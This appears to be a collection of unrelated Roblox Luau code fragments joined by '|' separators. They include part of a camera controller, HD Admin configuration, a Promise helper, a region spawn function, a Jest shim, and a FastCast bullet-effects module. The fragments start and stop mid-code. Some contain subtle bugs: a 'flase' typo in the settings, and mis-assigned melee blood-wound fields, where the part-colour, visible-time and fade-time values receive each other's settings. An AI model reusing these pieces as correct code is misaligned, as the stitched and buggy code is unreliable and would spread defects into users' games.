overrideCameraLookVector = (rootPart.CFrame * INITIAL_CAMERA_ANGLE).lookVector
else
overrideCameraLookVector = INITIAL_CAMERA_ANGLE.lookVector
end
self.resetCameraAngle = false
end
local player = PlayersService.LocalPlayer
local humanoid = self:GetHumanoid()
local cameraSubject = camera.CameraSubject
local isInVehicle = cameraSubject and cameraSubject:IsA("VehicleSeat")
local isOnASkateboard = cameraSubject and cameraSubject:IsA("SkateboardPlatform")
local isClimbing = humanoid and humanoid:GetState() == Enum.HumanoidStateType.Climbing
if self.lastUpdate == nil or timeDelta > 1 then
self.lastCameraTransform = nil
end
local rotateInput = CameraInput.getRotation()
self:StepZoom()
local cameraHeight = self:GetCameraHeight()
-- Reset tween speed if user is panning
if CameraInput.getRotation() ~= Vector2.new() then
tweenSpeed = 0
self.lastUserPanCamera = tick()
end
local userRecentlyPannedCamera = now - self.lastUserPanCamera < TIME_BEFORE_AUTO_ROTATE
local subjectPosition: Vector3 = self:GetSubjectPosition()
if subjectPosition and player and camera then
local zoom = self:GetCameraToSubjectDistance()
if zoom < 0.5 then
zoom = 0.5
end
if self:GetIsMouseLocked() and not self:IsInFirstPerson() then
-- We need to use the right vector of the camera after rotation, not before
local newLookCFrame: CFrame = self:CalculateNewLookCFrameFromArg(overrideCameraLookVector, rotateInput)
local offset: Vector3 = self:GetMouseLockOffset()
local cameraRelativeOffset: Vector3 = offset.X * newLookCFrame.RightVector + offset.Y * newLookCFrame.UpVector + offset.Z * newLookCFrame.LookVector
--offset can be NAN, NAN, NAN if newLookVector has only y component
if Util.IsFiniteVector3(cameraRelativeOffset) then
subjectPosition = subjectPosition + cameraRelativeOffset
end
else
local userPanningTheCamera = CameraInput.getRotation() ~= Vector2.new()
if not userPanningTheCamera and self.lastCameraTransform then
local isInFirstPerson = self:IsInFirstPerson()
if (isInVehicle or isOnASkateboard or (self.isFollowCamera and isClimbing)) and self.lastUpdate and humanoid and humanoid.Torso then
if isInFirstPerson then
if self.lastSubjectCFrame and (isInVehicle or isOnASkateboard) and cameraSubject:IsA("BasePart") then
local y = -Util.GetAngleBetweenXZVectors(self.lastSubjectCFrame.lookVector, cameraSubject.CFrame.lookVector)
if Util.IsFinite(y) then
rotateInput = rotateInput + Vector2.new(y, 0)
end
tweenSpeed = 0
end
elseif not userRecentlyPannedCamera then
local forwardVector = humanoid.Torso.CFrame.lookVector
tweenSpeed = math.clamp(tweenSpeed + tweenAcceleration * timeDelta, 0, tweenMaxSpeed)
local percent = math.clamp(tweenSpeed * timeDelta, 0, 1)
if self:IsInFirstPerson() and not (self.isFollowCamera and self.isClimbing) then
percent = 1
end
local y = Util.GetAngleBetweenXZVectors(forwardVector, self:GetCameraLookVector())
if Util.IsFinite(y) and math.abs(y) > 0.0001 then
rotateInput = rotateInput + Vector2.new(y * percent, 0)
end
end
elseif self.isFollowCamera and (not (isInFirstPerson or userRecentlyPannedCamera) and not VRService.VREnabled) then
-- Logic that was unique to the old FollowCamera module
local lastVec = -(self.lastCameraTransform.p - subjectPosition)
local y = Util.GetAngleBetweenXZVectors(lastVec, self:GetCameraLookVector())
-- This cutoff is to decide if the humanoid's angle of movement,
-- relative to the camera's look vector, is enough that
-- we want the camera to be following them. The point is to provide
-- a sizable dead zone to allow more precise forward movements.
local thetaCutoff = 0.4
-- Check for NaNs
if Util.IsFinite(y) and math.abs(y) > 0.0001 and math.abs(y) > thetaCutoff * timeDelta then
rotateInput = rotateInput + Vector2.new(y, 0)
end
end
end
end
if not self.isFollowCamera then
local VREnabled = VRService.VREnabled
if VREnabled then
newCameraFocus = self:GetVRFocus(subjectPosition, timeDelta)
else
newCameraFocus = CFrame.new(subjectPosition)
end
local cameraFocusP = newCameraFocus.p
if VREnabled and not self:IsInFirstPerson() then
local vecToSubject = (subjectPosition - camera.CFrame.p)
local distToSubject = vecToSubject.magnitude
local flaggedRotateInput = rotateInput
-- Only move the camera if it exceeded a maximum distance to the subject in VR
if distToSubject > zoom or flaggedRotateInput.x ~= 0 then
local desiredDist = math.min(distToSubject, zoom)
vecToSubject = self:CalculateNewLookVectorFromArg(nil, rotateInput) * desiredDist
local newPos = cameraFocusP - vecToSubject
local desiredLookDir = camera.CFrame.lookVector
if flaggedRotateInput.x ~= 0 then
desiredLookDir = vecToSubject
end
local lookAt = Vector3.new(newPos.x + desiredLookDir.x, newPos.y, newPos.z + desiredLookDir.z)
newCameraCFrame = CFrame.new(newPos, lookAt) + Vector3.new(0, cameraHeight, 0)
end
else
local newLookVector = self:CalculateNewLookVectorFromArg(overrideCameraLookVector, rotateInput)
newCameraCFrame = CFrame.new(cameraFocusP - (zoom * newLookVector), cameraFocusP)
end
else -- is FollowCamera
local newLookVector = self:CalculateNewLookVectorFromArg(overrideCameraLookVector, rotateInput)
if VRService.VREnabled then
newCameraFocus = self:GetVRFocus(subjectPosition, timeDelta)
else
newCameraFocus = CFrame.new(subjectPosition)
end
newCameraCFrame = CFrame.new(newCameraFocus.p - (zoom * newLookVector), newCameraFocus.p) + Vector3.new(0, cameraHeight, 0)
end
local toggleOffset = self:GetCameraToggleOffset(timeDelta)
newCameraFocus = newCameraFocus + toggleOffset
newCameraCFrame = newCameraCFrame + toggleOffset
self.lastCameraTransform = newCameraCFrame
self.lastCameraFocus = newCameraFocus
if (isInVehicle or isOnASkateboard) and cameraSubject:IsA("BasePart") then
self.lastSubjectCFrame = cameraSubject.CFrame
else
self.lastSubjectCFrame = nil
end
end
self.lastUpdate = now
return newCameraCFrame, newCameraFocus
end
function ClassicCamera:EnterFirstPerson()
self.inFirstPerson = true
self:UpdateMouseBehavior()
end
function ClassicCamera:LeaveFirstPerson()
self.inFirstPerson = false
self:UpdateMouseBehavior()
end
return ClassicCamera
|
--------------| SYSTEM SETTINGS |-------------- |
Prefix = ":"; -- The character you use before every command (e.g. ';jump me').
SplitKey = " "; -- The character inbetween command arguments (e.g. setting it to '/' would change ';jump me' to ';jump/me').
BatchKey = ""; -- The character inbetween batch commands (e.g. setting it to '|' would change ';jump me ;fire me ;smoke me' to ';jump me | ;fire me | ;smoke me'
QualifierBatchKey = ","; -- The character used to split up qualifiers (e.g. ;jump player1,player2,player3)
Theme = "Blue"; -- The default UI theme.
NoticeSoundId = 2865227271; -- The SoundId for notices.
NoticeVolume = 0.1; -- The Volume for notices.
NoticePitch = 1; -- The Pitch/PlaybackSpeed for notices.
ErrorSoundId = 2865228021; -- The SoundId for error notifications.
ErrorVolume = 0.1; -- The Volume for error notifications.
ErrorPitch = 1; -- The Pitch/PlaybackSpeed for error notifications.
AlertSoundId = 3140355872; -- The SoundId for alerts.
AlertVolume = 0.5; -- The Volume for alerts.
AlertPitch = 1; -- The Pitch/PlaybackSpeed for alerts.
WelcomeBadgeId = 0; -- Award new players a badge, such as 'Welcome to the game!'. Set to 0 for no badge.
CommandDebounce = true; -- Wait until the command effect is over to use again. Helps to limit abuse & lag. Set to 'false' to disable.
SaveRank = true; -- Saves a player's rank in the server they received it. (e.g. ;rank plrName rank). Use ';permRank plrName rank' to permanently save a rank. Set to 'false' to disable.
LoopCommands = 3; -- The minimum rank required to use LoopCommands.
MusicList = {505757009,}; -- Songs which automatically appear in a user's radio. Type '!radio' to display the radio.
ThemeColors = { -- The colours players can set their HD Admin UI (in the 'Settings' menu). | Format: {ThemeName, ThemeColor3Value};
{"Red", Color3.fromRGB(150, 0, 0), };
{"Orange", Color3.fromRGB(150, 75, 0), };
{"Brown", Color3.fromRGB(120, 80, 30), };
{"Yellow", Color3.fromRGB(130, 120, 0), };
{"Green", Color3.fromRGB(0, 120, 0), };
{"Blue", Color3.fromRGB(0, 100, 150), };
{"Purple", Color3.fromRGB(100, 0, 150), };
{"Pink", Color3.fromRGB(150, 0, 100), };
{"Black", Color3.fromRGB(60, 60, 60), };
};
Colors = { -- The colours for ChatColors and command arguments. | Format: {"ShortName", "FullName", Color3Value};
{"r", "Red", Color3.fromRGB(255, 0, 0) };
{"o", "Orange", Color3.fromRGB(250, 100, 0) };
{"y", "Yellow", Color3.fromRGB(255, 255, 0) };
{"g", "Green" , Color3.fromRGB(0, 255, 0) };
{"dg", "DarkGreen" , Color3.fromRGB(0, 125, 0) };
{"b", "Blue", Color3.fromRGB(0, 255, 255) };
{"db", "DarkBlue", Color3.fromRGB(0, 50, 255) };
{"p", "Purple", Color3.fromRGB(150, 0, 255) };
{"pk", "Pink", Color3.fromRGB(255, 85, 185) };
{"bk", "Black", Color3.fromRGB(0, 0, 0) };
{"w", "White", Color3.fromRGB(255, 255, 255) };
};
ChatColors = { -- The colour a player's chat will appear depending on their rank. '["Owner"] = "Yellow";' makes the owner's chat yellow.
[5] = "Yellow";
};
Cmdbar = 1; -- The minimum rank required to use the Cmdbar.
Cmdbar2 = 3; -- The minimum rank required to use the Cmdbar2.
ViewBanland = 3; -- The minimum rank required to view the banland.
OnlyShowUsableCommands = false; -- Only display commands equal to or below the user's rank on the Commands page.
RankRequiredToViewPage = { -- || The pages on the main menu ||
["Commands"] = 0;
["Admin"] = 0;
["Settings"] = 0;
};
RankRequiredToViewRank = { -- || The rank categories on the 'Ranks' subPage under Admin ||
["Owner"] = 0;
["HeadAdmin"] = 0;
["Admin"] = 0;
["Mod"] = 0;
["VIP"] = 0;
};
RankRequiredToViewRankType = { -- || The collection of loader-rank-rewarders on the 'Ranks' subPage under Admin ||
["Owner"] = 0;
["SpecificUsers"] = 5;
["Gamepasses"] = 0;
["Assets"] = 0;
["Groups"] = 0;
["Friends"] = 0;
["FreeAdmin"] = 0;
["VipServerOwner"] = 0;
};
RankRequiredToViewIcon = 0;
WelcomeRankNotice = flase; -- The 'You're a [rankName]' notice that appears when you join the game. Set to false to disable.
WelcomeDonorNotice = false; -- The 'You're a Donor' notice that appears when you join the game. Set to false to disable.
WarnIncorrectPrefix = false; -- Warn the user if using the wrong prefix | "Invalid prefix! Try using [correctPrefix][commandName] instead!"
DisableAllNotices = true; -- Set to true to disable all HD Admin notices.
ScaleLimit = 4; -- The maximum size players with a rank lower than 'IgnoreScaleLimit' can scale theirself. For example, players will be limited to ;size me 4 (if limit is 4) - any number above is blocked.
IgnoreScaleLimit = 3; -- Any ranks equal or above this value will ignore 'ScaleLimit'
CommandLimits = { -- Enables you to set limits for commands which have a number argument. Ranks equal to or higher than 'IgnoreLimit' will not be affected by Limit.
["fly"] = {
Limit = 10000;
IgnoreLimit = 3;
};
["fly2"] = {
Limit = 10000;
IgnoreLimit = 3;
};
["noclip"] = {
Limit = 10000;
IgnoreLimit = 3;
};
["noclip2"] = {
Limit = 10000;
IgnoreLimit = 3;
};
["speed"] = {
Limit = 10000;
IgnoreLimit = 3;
};
["jumpPower"] = {
Limit = 10000;
IgnoreLimit = 3;
};
};
VIPServerCommandBlacklist = {"permRank", "permBan", "globalAnnouncement"}; -- Commands players are probihited from using in VIP Servers.
GearBlacklist = {67798397}; -- The IDs of gear items to block when using the ;gear command.
IgnoreGearBlacklist = 4; -- The minimum rank required to ignore the gear blacklist.
PlayerDataStoreVersion = "V1.0"; -- Data about the player (i.e. permRanks, custom settings, etc). Changing the Version name will reset all PlayerData.
SystemDataStoreVersion = "V1.0"; -- Data about the game (i.e. the banland, universal message system, etc). Changing the Version name will reset all SystemData.
CoreNotices = { -- Modify core notices. You can find a table of all CoreNotices under [MainModule > Client > SharedModules > CoreNotices]
--NoticeName = NoticeDetails;
};
|
--[[
Creates a function that invokes a callback with correct error handling and
resolution mechanisms.
]] |
local function createAdvancer(callback, resolve, reject)
return function(...)
local result = { wpcall(callback, ...) }
local ok = table.remove(result, 1)
if ok then
resolve(unpack(result))
else
reject(unpack(result))
end
end
end
local function isEmpty(t)
return next(t) == nil
end
local Promise = {}
Promise.__index = Promise
Promise.Status = {
Started = "Started",
Resolved = "Resolved",
Rejected = "Rejected",
}
|
--TheNexusAvenger
--Centralizes remote object creation. |
local RemoteEventCreator = {}
local Tool = script.Parent.Parent
|
--[[
Returns a random vector3 within a region3, that has a clear area around it of specified size. This function yields.
]] |
local random = Random.new(tick())
return function(region, clearAreaSize)
local position
local regionPosition = region.CFrame.Position
while not position do
local minX, maxX =
regionPosition.X - (region.Size.X / 2) + clearAreaSize.X,
regionPosition.X + (region.Size.X / 2) - clearAreaSize.X
local minY, maxY =
regionPosition.Y - (region.Size.Y / 2) + clearAreaSize.Y,
regionPosition.Y + (region.Size.Y / 2) - clearAreaSize.Y
local minZ, maxZ =
regionPosition.Z - (region.Size.Z / 2) + clearAreaSize.Z,
regionPosition.Z + (region.Size.Z / 2) - clearAreaSize.Z
local x, y, z = random:NextNumber(minX, maxX), random:NextNumber(minY, maxY), random:NextNumber(minZ, maxZ)
local clearRegionMax, clearRegionMin = Vector3.new(x, y, z) + clearAreaSize, Vector3.new(x, y, z) - clearAreaSize
local area = Region3.new(clearRegionMax, clearRegionMin)
local partsInArea = workspace:FindPartsInRegion3(area, nil, 1)
if #partsInArea == 0 then
position = Vector3.new(x, y, z)
end
wait()
end
return position
end
|
-- See if already listed |
local listed = false
for _, i in pairs(plr.PlayerGui.MainGui.RadioSettings.MainFrame.History.Container:GetChildren()) do
if i.Name == "Entry" then
if i.ID.Value == script.Parent.ID.Value then
listed = true
break
end
end
end
if listed then
-- Gray out add button
script.Parent.AddButton.TextColor3 = Color3.fromRGB(100, 100, 100)
end
|
--[[
ROBLOX FIXME: add extends and default generic param when supported
original code:
expect.extend = <T extends JestMatcherState = JestMatcherState>(
]] |
Expect.extend = function<T>(matchers: MatchersObject<T>): ()
setMatchers(matchers, false, Expect)
end
Expect.anything = anything
Expect.any = any
|
-- Properties |
local OptimalEffects = false -- Adjust details of effects by client quality level
local RenderDistance = 400 -- Maximum camera distance to render visual effects
local ScreenCullingEnabled = true -- Show visual effects when their positions are on screen
local MaxDebrisCounts = 100 -- Maximum number of debris objects (mostly decayed projectiles) to exist
local RayExit = true -- Only for Wall Penetration
FastCast.DebugLogging = false
FastCast.VisualizeCasts = false
local Beam = Instance.new("Beam")
Beam.TextureSpeed = 0
Beam.LightEmission = 0
Beam.LightInfluence = 1
Beam.Transparency = NumberSequence.new(0)
local BlockSegContainer = Instance.new("Folder")
BlockSegContainer.Name = "BlockSegContainer"
BlockSegContainer.Parent = Camera
local CylinderSegContainer = Instance.new("Folder")
CylinderSegContainer.Name = "CylinderSegContainer"
CylinderSegContainer.Parent = Camera
local ConeSegContainer = Instance.new("Folder")
ConeSegContainer.Name = "ConeSegContainer"
ConeSegContainer.Parent = Camera
local Caster = FastCast.new()
local BlockSegCache = PartCache.new(Miscs.BlockSegment, 500)
BlockSegCache:SetCacheParent(BlockSegContainer)
local CylinderSegCache = PartCache.new(Miscs.CylinderSegment, 500)
CylinderSegCache:SetCacheParent(CylinderSegContainer)
local ConeSegCache = PartCache.new(Miscs.ConeSegment, 500)
ConeSegCache:SetCacheParent(ConeSegContainer)
local ShootId = 0
local DebrisCounts = 0
local PartCacheStorage = {}
local function CastWithBlacklist(Cast, Origin, Direction, Blacklist, IgnoreWater)
local CastRay = Ray.new(Origin, Direction)
local HitPart, HitPoint, HitNormal, HitMaterial = nil, Origin + Direction, Vector3.new(0, 1, 0), Enum.Material.Air
local Success = false
repeat
HitPart, HitPoint, HitNormal, HitMaterial = Workspace:FindPartOnRayWithIgnoreList(CastRay, Blacklist, false, IgnoreWater)
if HitPart then
--if Cast.UserData.ClientModule.IgnoreBlacklistedParts and Cast.UserData.ClientModule.BlacklistParts[HitPart.Name] then
-- table.insert(Blacklist, HitPart)
-- Success = false
--else
local Target = HitPart:FindFirstAncestorOfClass("Model")
local TargetHumanoid = Target and Target:FindFirstChildOfClass("Humanoid")
local TargetTool = HitPart:FindFirstAncestorOfClass("Tool")
if (HitPart.Transparency > 0.75
or HitPart.Name == "Missile"
or HitPart.Name == "Handle"
or HitPart.Name == "Effect"
or HitPart.Name == "Bullet"
or HitPart.Name == "Laser"
or string.lower(HitPart.Name) == "water"
or HitPart.Name == "Rail"
or HitPart.Name == "Arrow"
or (TargetHumanoid and (TargetHumanoid.Health <= 0 or not DamageModule.CanDamage(Target, Cast.UserData.Character, Cast.UserData.ClientModule.FriendlyFire) or (Cast.UserData.BounceData and table.find(Cast.UserData.BounceData.BouncedHumanoids, TargetHumanoid))))
or TargetTool) then
table.insert(Blacklist, HitPart)
Success = false
else
Success = true
end
--end
else
Success = true
end
until Success
return HitPart, HitPoint, HitNormal, HitMaterial
end
local function AddressTableValue(Enabled, Level, V1, V2)
if V1 ~= nil and Enabled and Level then
return ((Level == 1 and V1.Level1) or (Level == 2 and V1.Level2) or (Level == 3 and V1.Level3) or V2)
else
return V2
end
end
local function CanShowEffects(Position)
if ScreenCullingEnabled then
local _, OnScreen = Camera:WorldToScreenPoint(Position)
return OnScreen and (Position - Camera.CFrame.p).Magnitude <= RenderDistance
end
return (Position - Camera.CFrame.p).Magnitude <= RenderDistance
end
local function PopulateHumanoids(Cast, Model)
if Model.ClassName == "Humanoid" then
if DamageModule.CanDamage(Model.Parent, Cast.UserData.Character, Cast.UserData.ClientModule.FriendlyFire) then
table.insert(Humanoids, Model)
end
end
for i, mdl in ipairs(Model:GetChildren()) do
PopulateHumanoids(Cast, mdl)
end
end
local function FindNearestEntity(Cast, Position)
Humanoids = {}
PopulateHumanoids(Cast, Workspace)
local Dist = Cast.UserData.HomeData.HomingDistance
local TargetModel = nil
local TargetHumanoid = nil
local TargetTorso = nil
for i, v in ipairs(Humanoids) do
local torso = v.Parent:FindFirstChild("HumanoidRootPart") or v.Parent:FindFirstChild("Torso") or v.Parent:FindFirstChild("UpperTorso")
if v and torso then
if (torso.Position - Position).Magnitude < (Dist + (torso.Size.Magnitude / 2.5)) and v.Health > 0 then
if not Cast.UserData.HomeData.HomeThroughWall then
local hit, pos, normal, material = CastWithBlacklist(Cast, Position, (torso.CFrame.p - Position).Unit * 999, Cast.UserData.IgnoreList, true)
if hit then
if hit:IsDescendantOf(v.Parent) then
if DamageModule.CanDamage(v.Parent, Cast.UserData.Character, Cast.UserData.ClientModule.FriendlyFire) then
TargetModel = v.Parent
TargetHumanoid = v
TargetTorso = torso
Dist = (Position - torso.Position).Magnitude
end
end
end
else
if DamageModule.CanDamage(v.Parent, Cast.UserData.Character, Cast.UserData.ClientModule.FriendlyFire) then
TargetModel = v.Parent
TargetHumanoid = v
TargetTorso = torso
Dist = (Position - torso.Position).Magnitude
end
end
end
end
end
return TargetModel, TargetHumanoid, TargetTorso
end
local function EmitParticle(Particle, Count)
if OptimalEffects then
local QualityLevel = UserSettings().GameSettings.SavedQualityLevel
if QualityLevel == Enum.SavedQualitySetting.Automatic then
local Compressor = 1 / 2
Particle:Emit(Count * Compressor)
else
local Compressor = QualityLevel.Value / 21
Particle:Emit(Count * Compressor)
end
else
Particle:Emit(Count)
end
end
local function FadeBeam(A0, A1, Beam, Hole, FadeTime, Replicate)
if FadeTime > 0 then
if OptimalEffects then
if Replicate then
local t0 = os.clock()
while Hole ~= nil do
local Alpha = math.min((os.clock() - t0) / FadeTime, 1)
if Beam then Beam.Transparency = NumberSequence.new(Math.Lerp(0, 1, Alpha)) end
if Alpha == 1 then break end
Thread:Wait()
end
if A0 then A0:Destroy() end
if A1 then A1:Destroy() end
if Beam then Beam:Destroy() end
if Hole then Hole:Destroy() end
else
if A0 then A0:Destroy() end
if A1 then A1:Destroy() end
if Beam then Beam:Destroy() end
if Hole then Hole:Destroy() end
end
else
local t0 = os.clock()
while Hole ~= nil do
local Alpha = math.min((os.clock() - t0) / FadeTime, 1)
if Beam then Beam.Transparency = NumberSequence.new(Math.Lerp(0, 1, Alpha)) end
if Alpha == 1 then break end
Thread:Wait()
end
if A0 then A0:Destroy() end
if A1 then A1:Destroy() end
if Beam then Beam:Destroy() end
if Hole then Hole:Destroy() end
end
else
if A0 then A0:Destroy() end
if A1 then A1:Destroy() end
if Beam then Beam:Destroy() end
if Hole then Hole:Destroy() end
end
end
local function MakeImpactFX(Hit, Position, Normal, Material, ParentToPart, ClientModule, Misc, Replicate, IsMelee)
local SurfaceCF = CFrame.new(Position, Position + Normal)
local HitEffectEnabled = ClientModule.HitEffectEnabled
local HitSoundIDs = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.HitSoundIDs, ClientModule.HitSoundIDs)
local HitSoundPitchMin = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.HitSoundPitchMin, ClientModule.HitSoundPitchMin)
local HitSoundPitchMax = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.HitSoundPitchMax, ClientModule.HitSoundPitchMax)
local HitSoundVolume = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.HitSoundVolume, ClientModule.HitSoundVolume)
local CustomHitEffect = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.CustomHitEffect, ClientModule.CustomHitEffect)
local BulletHoleEnabled = ClientModule.BulletHoleEnabled
local BulletHoleSize = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.BulletHoleSize, ClientModule.BulletHoleSize)
local BulletHoleTexture = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.BulletHoleTexture, ClientModule.BulletHoleTexture)
local PartColor = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.PartColor, ClientModule.PartColor)
local BulletHoleVisibleTime = ClientModule.BulletHoleVisibleTime
local BulletHoleFadeTime = ClientModule.BulletHoleFadeTime
if IsMelee then
HitEffectEnabled = ClientModule.MeleeHitEffectEnabled
HitSoundIDs = ClientModule.MeleeHitSoundIDs
HitSoundPitchMin = ClientModule.MeleeHitSoundPitchMin
HitSoundPitchMax = ClientModule.MeleeHitSoundPitchMax
HitSoundVolume = ClientModule.MeleeHitSoundVolume
CustomHitEffect = ClientModule.CustomMeleeHitEffect
BulletHoleEnabled = ClientModule.MarkerEffectEnabled
BulletHoleSize = ClientModule.MarkerEffectSize
BulletHoleTexture = ClientModule.MarkerEffectTexture
BulletHoleVisibleTime = ClientModule.MarkerEffectVisibleTime
BulletHoleFadeTime = ClientModule.MarkerEffectFadeTime
PartColor = ClientModule.MarkerPartColor
end
if HitEffectEnabled then
local Attachment = Instance.new("Attachment")
Attachment.CFrame = SurfaceCF
Attachment.Parent = Workspace.Terrain
local Sound
local function Spawner(material)
if Misc.HitEffectFolder[material.Name]:FindFirstChild("MaterialSounds") then
local tracks = Misc.HitEffectFolder[material.Name].MaterialSounds:GetChildren()
local rn = math.random(1, #tracks)
local track = tracks[rn]
if track ~= nil then
Sound = track:Clone()
if track:FindFirstChild("Pitch") then
Sound.PlaybackSpeed = Random.new():NextNumber(track.Pitch.Min.Value, track.Pitch.Max.Value)
else
Sound.PlaybackSpeed = Random.new():NextNumber(HitSoundPitchMin, HitSoundPitchMax)
end
if track:FindFirstChild("Volume") then
Sound.Volume = Random.new():NextNumber(track.Volume.Min.Value, track.Volume.Max.Value)
else
Sound.Volume = HitSoundVolume
end
Sound.Parent = Attachment
end
else
Sound = Instance.new("Sound")
Sound.SoundId = "rbxassetid://"..HitSoundIDs[math.random(1, #HitSoundIDs)]
Sound.PlaybackSpeed = Random.new():NextNumber(HitSoundPitchMin, HitSoundPitchMax)
Sound.Volume = HitSoundVolume
Sound.Parent = Attachment
end
for i, v in pairs(Misc.HitEffectFolder[material.Name]:GetChildren()) do
if v.ClassName == "ParticleEmitter" then
local Count = 1
local Particle = v:Clone()
Particle.Parent = Attachment
if Particle:FindFirstChild("EmitCount") then
Count = Particle.EmitCount.Value
end
if Particle.PartColor.Value then
local HitPartColor = Hit and Hit.Color or Color3.fromRGB(255, 255, 255)
if Hit and Hit:IsA("Terrain") then
HitPartColor = Workspace.Terrain:GetMaterialColor(Material or Enum.Material.Sand)
end
Particle.Color = ColorSequence.new(HitPartColor, HitPartColor)
end
Thread:Delay(0.01, function()
EmitParticle(Particle, Count)
Debris:AddItem(Particle, Particle.Lifetime.Max)
end)
end
end
Sound:Play()
if BulletHoleEnabled then
local Hole = Instance.new("Attachment")
Hole.Parent = ParentToPart and Hit or Workspace.Terrain
Hole.WorldCFrame = SurfaceCF * CFrame.Angles(math.rad(90), math.rad(180), 0)
if ParentToPart then
local Scale = BulletHoleSize
if Misc.HitEffectFolder[material.Name]:FindFirstChild("MaterialHoleSize") then
Scale = Misc.HitEffectFolder[material.Name].MaterialHoleSize.Value
end
local A0 = Instance.new("Attachment")
local A1 = Instance.new("Attachment")
local BeamClone = Beam:Clone()
BeamClone.Width0 = Scale
BeamClone.Width1 = Scale
if Misc.HitEffectFolder[material.Name]:FindFirstChild("MaterialDecals") then
local Decals = Misc.HitEffectFolder[material.Name].MaterialDecals:GetChildren()
local Chosen = math.random(1, #Decals)
local Decal = Decals[Chosen]
if Decal ~= nil then
BeamClone.Texture = "rbxassetid://"..Decal.Value
if Decal.PartColor.Value then
local HitPartColor = Hit and Hit.Color or Color3.fromRGB(255, 255, 255)
if Hit and Hit:IsA("Terrain") then
HitPartColor = Workspace.Terrain:GetMaterialColor(Material or Enum.Material.Sand)
end
BeamClone.Color = ColorSequence.new({ColorSequenceKeypoint.new(0, HitPartColor), ColorSequenceKeypoint.new(1, HitPartColor)})
end
end
else
BeamClone.Texture = "rbxassetid://"..BulletHoleTexture[math.random(1, #BulletHoleTexture)]
if PartColor then
local HitPartColor = Hit and Hit.Color or Color3.fromRGB(255, 255, 255)
if Hit and Hit:IsA("Terrain") then
HitPartColor = Workspace.Terrain:GetMaterialColor(Material or Enum.Material.Sand)
end
BeamClone.Color = ColorSequence.new({ColorSequenceKeypoint.new(0, HitPartColor), ColorSequenceKeypoint.new(1, HitPartColor)})
end
end
BeamClone.Attachment0 = A0
BeamClone.Attachment1 = A1
A0.Parent = Hit
A1.Parent = Hit
A0.WorldCFrame = Hole.WorldCFrame * CFrame.new(Scale / 2, -0.01, 0) * CFrame.Angles(math.rad(90), 0, 0)
A1.WorldCFrame = Hole.WorldCFrame * CFrame.new(-Scale / 2, -0.01, 0) * CFrame.Angles(math.rad(90), math.rad(180), 0)
BeamClone.Parent = Workspace.Terrain
Thread:Delay(BulletHoleVisibleTime, function()
FadeBeam(A0, A1, BeamClone, Hole, BulletHoleFadeTime, Replicate)
end)
else
Debris:AddItem(Hole, 5)
end
end
end
if not CustomHitEffect then
if Misc.HitEffectFolder:FindFirstChild(Hit.Material) then
Spawner(Hit.Material)
else
Spawner(Misc.HitEffectFolder.Custom)
end
else
Spawner(Misc.HitEffectFolder.Custom)
end
Debris:AddItem(Attachment, 10)
end
end
local function MakeBloodFX(Hit, Position, Normal, Material, ParentToPart, ClientModule, Misc, Replicate, IsMelee)
local SurfaceCF = CFrame.new(Position, Position + Normal)
local BloodEnabled = ClientModule.BloodEnabled
local HitCharSndIDs = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.HitCharSndIDs, ClientModule.HitCharSndIDs)
local HitCharSndPitchMin = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.HitCharSndPitchMin, ClientModule.HitCharSndPitchMin)
local HitCharSndPitchMax = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.HitCharSndPitchMax, ClientModule.HitCharSndPitchMax)
local HitCharSndVolume = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.HitCharSndVolume, ClientModule.HitCharSndVolume)
local BloodWoundEnabled = ClientModule.BloodWoundEnabled
local BloodWoundTexture = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.BloodWoundTexture, ClientModule.BloodWoundTexture)
local BloodWoundSize = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.BloodWoundSize, ClientModule.BloodWoundSize)
local BloodWoundTextureColor = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.BloodWoundTextureColor, ClientModule.BloodWoundTextureColor)
local BloodWoundPartColor = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.BloodWoundPartColor, ClientModule.BloodWoundPartColor)
local BloodWoundVisibleTime = ClientModule.BloodWoundVisibleTime
local BloodWoundFadeTime = ClientModule.BloodWoundFadeTime
if IsMelee then
BloodEnabled = ClientModule.MeleeBloodEnabled
HitCharSndIDs = ClientModule.MeleeHitCharSndIDs
HitCharSndPitchMin = ClientModule.MeleeHitCharSndPitchMin
HitCharSndPitchMax = ClientModule.MeleeHitCharSndPitchMax
HitCharSndVolume = ClientModule.MeleeHitCharSndVolume
BloodWoundEnabled = ClientModule.MeleeBloodWoundEnabled
BloodWoundTexture = ClientModule.MeleeBloodWoundTexture
BloodWoundSize = ClientModule.MeleeBloodWoundSize
BloodWoundTextureColor = ClientModule.MeleeBloodWoundTextureColor
BloodWoundPartColor = ClientModule.MeleeBloodWoundVisibleTime
BloodWoundVisibleTime = ClientModule.MeleeBloodWoundFadeTime
BloodWoundFadeTime = ClientModule.MeleeBloodWoundPartColor
end
if BloodEnabled then
local Attachment = Instance.new("Attachment")
Attachment.CFrame = SurfaceCF
Attachment.Parent = Workspace.Terrain
local Sound = Instance.new("Sound")
